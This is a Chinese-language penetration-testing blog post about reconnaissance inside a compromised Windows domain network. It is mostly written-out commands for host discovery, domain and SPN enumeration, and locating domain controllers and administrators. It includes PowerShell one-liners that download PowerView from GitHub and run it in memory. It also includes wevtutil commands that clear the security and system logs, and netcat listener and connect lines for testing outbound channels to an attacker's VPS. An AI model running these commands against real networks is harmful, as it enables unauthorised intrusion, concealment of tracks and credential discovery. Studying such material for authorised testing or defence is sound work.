Yoga7xm's Blog

内网渗透--内网探测

字数统计: 3.7k阅读时长: 15 min
2019/03/27 Share

前言

目标资产信息搜集的程度,决定渗透过程的复杂程度。
目标主机信息搜集的深度,决定后渗透权限持续把控。
渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。
—-Micropoor

渗透的本质是信息收集

本机信息收集

  1. 基础信息:
    • 内网网段信息,查看网卡信息收集内部地址段的信息
    • 内网大小
  2. 核心业务信息:

内网OA办公系统、邮件服务器、网络监控系统、财务应用系统、核心产品源码(SVN服务器、git服务器等)

  1. 其他信息:
    • 管理员密码、浏览器密码、cookie、无线密码、数据库密码、VPN历史密码、Teamview历史密码等
    • 其他用户session、3389和IPC$连接记录,各用户回收站信息、用户列表
    • host文件和DNS缓存信息
    • AV、补丁、进程、服务、端口、网络代理信息、软件列表
    • 计划任务、账号密码策略和锁定策略、共享文件、web服务器配置文件
    • 启动项、系统日志、Web服务器日志、防火墙规则

查询当前权限

whoami /all命令


判断是否在域内

  1. RDS 如果目标服务器远程桌面服务开启,可尝试进行连接,若在用户名和密码栏下还有个登录到选项,下来选项栏如果除了计算机名(此计算机)选项外还有其他选项,则此服务器可能位于域中,且选项名即为域名;
  2. net time /domain执行该命令,有三种情况:第一种如果存在域会从域控返回时间, 并在第一行返回域控及域名;第二种如果当前服务器在域内但是当前用户非域用户,则会返回System error 5就表示权限不够;第三种就是返回找不到域Workgroup的域控制器表示当前网络环境为工作组

  1. ipconfig /all查看当前网络的DNS,一般在内网DNS服务器即为域控,很少将DNS与域控分开,除非有多个域环境
  2. systeminfo系统信息中含有两项:Domain和Logon Server,前者为域名,后者为域控。倘若Domain为Workgroup则当前服务器不在域内
  3. net config workstation其中工作域显示域名,同样若为WORKGROUP则非域环境,登录域表明当前用户是域用户登录还是本地用户登录

域内存活主机探测

基于UDP发现

  1. MSF扫描
1
2
use auxiliary/scanner/discovery/udp_probe
use auxiliary/scanner/discovery/udp_sweep
  1. nmap扫描

nmap -sU -T5 -sV --max-retries 1 192.168.114.1

  1. unicornscan扫描

unicornscan -mU 192.168.1.100

  1. ScanLine扫描

windows平台 sl -bhpt 139,445 100.100.0.39

基于ARP发现

  1. MSF扫描
1
use auxiliary/scanner/discovery/arp_sweep
  1. nmap扫描

nmap -sn -PR 192.168.114.0/24

-sn只扫描主机,不扫描端口(类似于PE),PR表示用ARP扫描

  1. netdiscover

netdiscover -r 192.168.114.0/24 -i wlan0

  1. arp-scan(linux)

arp-scan --interface=wlan0 --localnet

  1. Powershell
1
powershell.exe -exec bypass -Command "Import-Module .\Invoke-ARPScan.ps1;Invoke-ARPScan -CIDR 192.168.1.0/24"

  1. arp scannet
  2. arp-scan (推荐)

arp-scan.exe -t 192.168.114.0/24

  1. arp-ping

arp-ping.exe 192.168.114.0/24

  1. meterpreter

run post/windows/gather/arp_scanner RHOSTS=192.168.0.1/24添加路由之后

基于Netbios发现

  1. MSF扫描
1
use auxiliary/scanner/netbios/nbname
  1. nmap扫描

nmap -sU --script nbstat.nse -p137 192.168.114.0/24 -T4

  1. nbtscan扫描

传送门

  1. 遍历输入的IP范围,以广播MAC地址发送ARP查询
  2. 一旦接收到ARP回复,遍记录相应的IP与MAC地址,同时向对方发送NBNS消息查询对方的主机信息
  3. 打印出每条信息

nbtscan.exe 192.168.1.1/24

  1. netbscanner扫描

传送门

基于SNMP发现

SNMP是一种简单网络管理协议,主要用于网络设备的管理

  1. MSF扫描
1
use auxiliary/scanner/snmp/snmp_enum
  1. nmap扫描

nmap -sU --script snmp-brute 192.168.114.0/24 -T4

  1. NetCrunch
  2. snmp for pl扫描

传送门

  1. snmpbulkwalk

基于ICMP发现

  1. nmap扫描

nmap ‐sP ‐PI 192.168.1.0/24 ‐T4

nmap ‐sn ‐PE ‐T4 192.168.1.0/24

  1. CMD下
1
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL=" >> result.txt
  1. powershell下
1
powershell.exe -exec bypass -Command "Import-Module .\Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.1.1 -EndAddress 192.168.1.254 -ResolveHost -ScanPort -Port 21"
  1. bash shell下
1
2
3
4
5
6
7
8
#!/bin/bash
for ip in 192.168.3.{1..254}
do
ping $ip -c 1 &> /dev/null
if [ $? -eq 0 ];then
echo $ip is alive ....
fi
done

或者

1
for i in 192.168.0.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done
  1. nping

nping --icmp --icmp-type time 192.168.1.0/24 | grep "reply"

域内端口扫描

  1. nmap
  2. zmap
  3. masscan
  4. nc
  5. powershell
1
powershell.exe -exec bypass -Command "Import-Module .\Invoke-Portscan.ps1;Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -ports '80'"

域内基础信息收集

常见命令

1
2
3
4
5
6
ipconfig /all    查询本机IP段、所在域
nbtstat –A ip netbios 查询
netstat –an/ano/anb 网络连接查询
route print 路由表
cmdkey /l 是否保存了登录凭证
net session 查看是否有远程连接的session

net 类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
net user        本机用户
net user /domain 查询域用户
net user domain-admin /domain 查看管理员登陆时间,密码过期时间,是否有登陆脚本
net localgroup administrators 本机管理员(通常含有域用户)
net localgroup administrators /domain 登录本机的域管理员
net localgroup administrators workgroup\user001 /add 域用户添加到本机
net group /domain 查询域工作组
net group "domain admins" /domain 查询域管理员用户组
net group "Domain controllers" /domain 查询域控列表
net group "domain computers" /domain 获得所有域成员计算机列表
net view 查询同一域内机器
net view /domain 查询域列表
net view /domain:domainname
net accounts 查看本地密码策略
net accounts /domain 查看域密码策略
net time /domain 查看域时间
nltest /domain_trusts 获取域信任信息

dsquery

1
2
3
4
5
6
7
dsquery computer domainroot -limit 65535 && net group "domain
computers" /domain ------> 列出该域内所有机器名
dsquery user domainroot -limit 65535 && net user /domain------>列出该域内所有用户名
dsquery subnet ------>列出该域内网段划分
dsquery group && net group /domain ------>列出该域内分组
dsquery ou ------>列出该域内组织单位
dsquery server && net time /domain------>列出该域内域控制器

第三方信息收集

NetBios信息收集
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
1.探测对方主机名、工作组等信息
nbtstat -a 对方主机名;nbtstat -A 对方IP地址

2.本机主机名、工作组等信息
nbtstat -n

3.与对方主机建立ipc通道
net use //对方IP [密码] /user:用户名

4. 查看对方共享信息
net view //对方IP,如果对方不允许匿名连接,则3中命令一定要提供用户名和密码

5. 映射对方共享信息到本地
net use 本地盘符(如z:) //对方IP/共享路径 [密码] /user:用户名

6. 查看本地共享信息
net share

7. 查看本工作组或域成员
net view

8.发送消息到远程主机(对于win2000以后版本,双方要开启Messenger服务,默认不禁止)
net send 对方主机 消息内容
SMB信息收集

两个nmap脚本:

  • smb-os-discovery.nse 获取目标的OS版本、计算机名、域名、工作组和当前时间等
  • smb2-security-mode 检测smb签名是否是必要的(如果不是必要的可以进行smb中继攻击)

smb2-security-mode这一项,在2008上smb签名是必须的。(如果客户端和服务端有一方必须要smb签名的话,则两方必须都用smb签名才能建立链接,也就不能中继了)

空会话信息收集

能够以某一个具有一定权限的用户身份登陆,并拥有该用户的权限。

==利用工具==

winfo.exe 传送门

SRV记录

SRV是DNS中的一种资源记录,SRV记录用于将服务的名称映射到提供该服务的服务器的DNS计算机名称。

简单来说,它标明了哪台主机提供哪种服务的信息

Windows域中的服务会注册下列格式的srv记录:

_Service._Protocol.DnsDomainName

在windows域中,活动目录的正常工作依赖于DNS。

活动目录服务器通过tcp协议提供LDAP服务,因此它注册的srv记录类似于:

_ldap._tcp.example.com

域控制器则会以下面的形式注册srv记录:

_Service._Protocol.DCType._msdcs.DomainName,这里的DCType可以是dc(域控制器),gc(全局编录),pdc(主域控制器)等。如_ldap._tcp.dc._msdcs.example.com

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
C:\Users\Administrator>nslookup
默认服务器: localhost
Address: ::1

> set type=all
> _ldap._tcp.yoga.com
服务器: localhost
Address: ::1

_ldap._tcp.yoga.com SRV service location:
priority = 0
weight = 100
port = 389
svr hostname = server12.yoga.com
server12.yoga.com internet address = 192.168.114.135 #域控

ldap.png

SPN记录

SPN全名服务主体名称,作用是对服务进行唯一的标识

在windows域中,服务实例需要注册一个spn,这样才能使用kerberos身份验证。SPN的注册格式为:

1
ServiceName/FQDN:<port | servicename>

FQDN是指完全限定域名。它可以标识出主机的逻辑位置。FQDN的格式为:主机名.域名,例如,一台搭载webserver的服务器主机名为webserver,域名为example.com,则FQDN为webserver.example.com

SPN扫描

在windows域环境中,spn扫描是发现服务最好的一种方式,因为spn扫描的原理是使用ldap来向域控查询,因此不需要扫描内网中的每一台主机,流量不仅较小而且也很正常(kerberos认证依赖spn)。

1
2
3
4
5
6
7
8
# 查看netbios名称为DM1主机的spn
Setspn –L DM1

# 查看账户example的spn
Setspn –L example

# 查看当前域中的所有spn
Setspn –T * -Q /

DNS记录

传送门

域控的定位

  1. net view
1
net view /domain
  1. set log
1
set log
  1. 通过srv记录
1
>nslookup -type=SRV  _ldap._tcp.dc._msdcs.yoga.com
  1. 使用nltest
1
nltest /dclist:yoga
  1. Dsquery
1
DsQuery Server -domain yoga
  1. netdom
1
netdom query pdc
  1. dns一般为域控,并且域控会开启389端口(LDAP服务)
  2. PSExec扫描远程系统上身份验证令牌

域内用户和管理员的获取与定位

net uesr /domain能够获取当前域下所有的用户

1. adfind or powerview

使用adfind或者powerview导出域用户信息可以查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 查看域内用户详细信息:
adfind.exe -h DNS_SERVER_IP -sc u:username #目标用户

# 查看域用户能登录的机器(userWorkstations)
adfind.exe -h DNS_SERVER_IP -sc u:username userWorkstations

# 查看域内所有用户详细信息:
AdFind.exe -h DNS_SERVER_IP -sc u:* > result.txt

# 查看域内所有用户详细信息
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1');Get-NetUser -Domain yoga.com > .\test.txt"

# 使用修改组策略的方式限制登录
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1');Invoke-EnumerateLocalAdmin > .\test.txt"

【注】Powerview.ps1用法

2.Dns解析

前提是拿到了域管,查看dc上面dns解析记录

1
2
3
dnscmd 127.0.0.1 /enumrecords yoga.com yoga.com. /type A

dnscmd 127.0.0.1 /zoneprint yoga.com >1.txt

3.用户目录

查看域内所有计算机的C:\users\目录下的文件夹(登陆过该计算机的用户)

4.域控日志

导出所有域控的登录日志,分析出用户的登录ip;

wevtutil为Windows 事件命令行实用程序,其导出的日志为evtx格式(即Windows日志本身的存储格式),可以使用Windows事件查看器分析,Crtl+F查找,或者不使用epl参数,直接重定向输出即可。 wevtutil常用的场景是清理日志。

可作为筛选分析日志的工具 ,4624(用户登录成功),4768、4776(用户验证成功)

1
2
3
4
5
6
7
8
9
10
wevtutil cl application
wevtutil cl security
wevtutil cl system
wevtutil cl "windows powershell"

wevtutil qe security /q:"Event[System[(EventID=4624 or EventID=4768 or EventID=4776)]]" /f:text /rd:true /c:1 > EvtLogon.dat

wevtutil qe Security /q:"*[EventData[Data[@Name='LogonType']='10'] and EventData[Data[@Name='TargetUserName']='RcoIl'] and System[(EventID=4624) and TimeCreated[timediff(@SystemTime) &lt;= 2592000000]]]"

wevtutil qe Security /q:"*[System[(Keywords='0x8020000000000000')] and EventData[Data[@Name='SubjectUserName']='RcoIl']]" /f:text /rd:true /c:2
1
2
3
4
5
6
7
8
# 参数说明
qe: 从日志或日志文件中查询事件;(默认xml格式显示)
Security: 指定安全事件的日志;
/q: 筛选规则,可以打开Windows事件查看器的筛选器配置筛选条件后转至XML复制筛选规则;
/f: 以text格式显示
/rd: 指定读取事件的方向
/c: 指定个数
该命令其它参数参考wevtutil /?

5.其他工具(可能不全)

1、psloggendon.exe chris

2、netsess.exe \\PRIMARY

3、PVEFindADUser.exe -current需要管理员权限,可以枚举出域用户以及登录过特定系统的用户

4、netview.exe

寻找域用户正在登录的主机

传送门

检查远程机器注册表项HKEY_USERS拿到正在登录的用户SID

sid.png

利用adfind查询该sid用户

1
AdFind.exe -b  cn=users,dc=yoga,dc=com -f "(objectSid:=S-1-5-21-2104426803-785674075-3345604858-1106)"

这个方法不需要很高的域用户权限,但是Server默认才会开启远程注册表,PC默认不会开启

内网环境的判断及拓扑架构分析

0x01 位置的判断

判断机器处于网络拓扑中的某个区域,是DMZ区,办公区,核心区还是核心DB等多个位置

0x02 角色的判断

假如是服务器,判断是否是Web服务器,开发测试服务器,公共服务器,文件服务器,代理服务器,DNS服务器,存储服务器等..

具体需要通过机器内的主机名、文件、网络连接等多种情况进行综合判断

主机名是最好判断的,通常Web或App是Web服务器;Dev是开发服务器;NAS是存储服务器;File或者Fileserver是文件服务器…..

通过网络连接判断也成,代理服务器可能有多个机器连接代理端口;更新服务器(WSUS)可能开放更新端口8530;DNS服务器开放53端口…..

0x03 连通性的判断

指的是机器能否从外面进来,能否出去。这关乎于后续的代理和木马

端口的判断

外网VPS开放监听端口,内网机器测试常见端口,或者直接端口扫描

常见能出去的端口:80、8080、443、53、110、123等

协议的判断

通常就是TCP、HTTP、ICMP、DNS等协议

  1. TCP协议
1
2
VPS: nc -lvnp port
内网机器: nc ip port
  1. DNS协议
1
2
windows:nslookup dnslog
linux: dig dnslog
  1. HTTP协议
1
2
VPS: nc -lvnp 80(8080)
内网机器: curl ip:80(8080) / 浏览器访问
  1. ICMP协议

由于是网络层协议,内网直接利用ping命令,然后VPS用tcpdump等抓包工具抓包进行验证

额外情况

机器不能直接出来,需要进行代理设置,这种大多数是为了办公区的工作人员进行上网用的

判断

  • 查看网络连接判断是否有连接其他机器端口,尝试ping -n 1 -a ip
  • 使用arp -a + nbtstat -A ip是否存在主机名为Proxy的主机
  • IE浏览器的Internet设置(直接连接、PAC文件)

最终用Curl进行确认

1
2
curl www.baidu.com  //不通
curl -x proxy-ip:port www.baidu.com //通
CATALOG
  1. 1. 前言
  2. 2. 本机信息收集
  3. 3. 查询当前权限
  4. 4. 判断是否在域内
  5. 5. 域内存活主机探测
    1. 5.1. 基于UDP发现
    2. 5.2. 基于ARP发现
    3. 5.3. 基于Netbios发现
    4. 5.4. 基于SNMP发现
    5. 5.5. 基于ICMP发现
  6. 6. 域内端口扫描
  7. 7. 域内基础信息收集
    1. 7.1. 常见命令
    2. 7.2. 第三方信息收集
      1. 7.2.1. NetBios信息收集
      2. 7.2.2. SMB信息收集
      3. 7.2.3. 空会话信息收集
    3. 7.3. SRV记录
    4. 7.4. SPN记录
    5. 7.5. DNS记录
  8. 8. 域控的定位
  9. 9. 域内用户和管理员的获取与定位
    1. 9.1. 1. adfind or powerview
    2. 9.2. 2.Dns解析
    3. 9.3. 3.用户目录
    4. 9.4. 4.域控日志
    5. 9.5. 5.其他工具(可能不全)
    6. 9.6. 寻找域用户正在登录的主机
  10. 10. 内网环境的判断及拓扑架构分析
    1. 10.1. 0x01 位置的判断
    2. 10.2. 0x02 角色的判断
    3. 10.3. 0x03 连通性的判断
      1. 10.3.1. 端口的判断
      2. 10.3.2. 协议的判断
      3. 10.3.3. 额外情况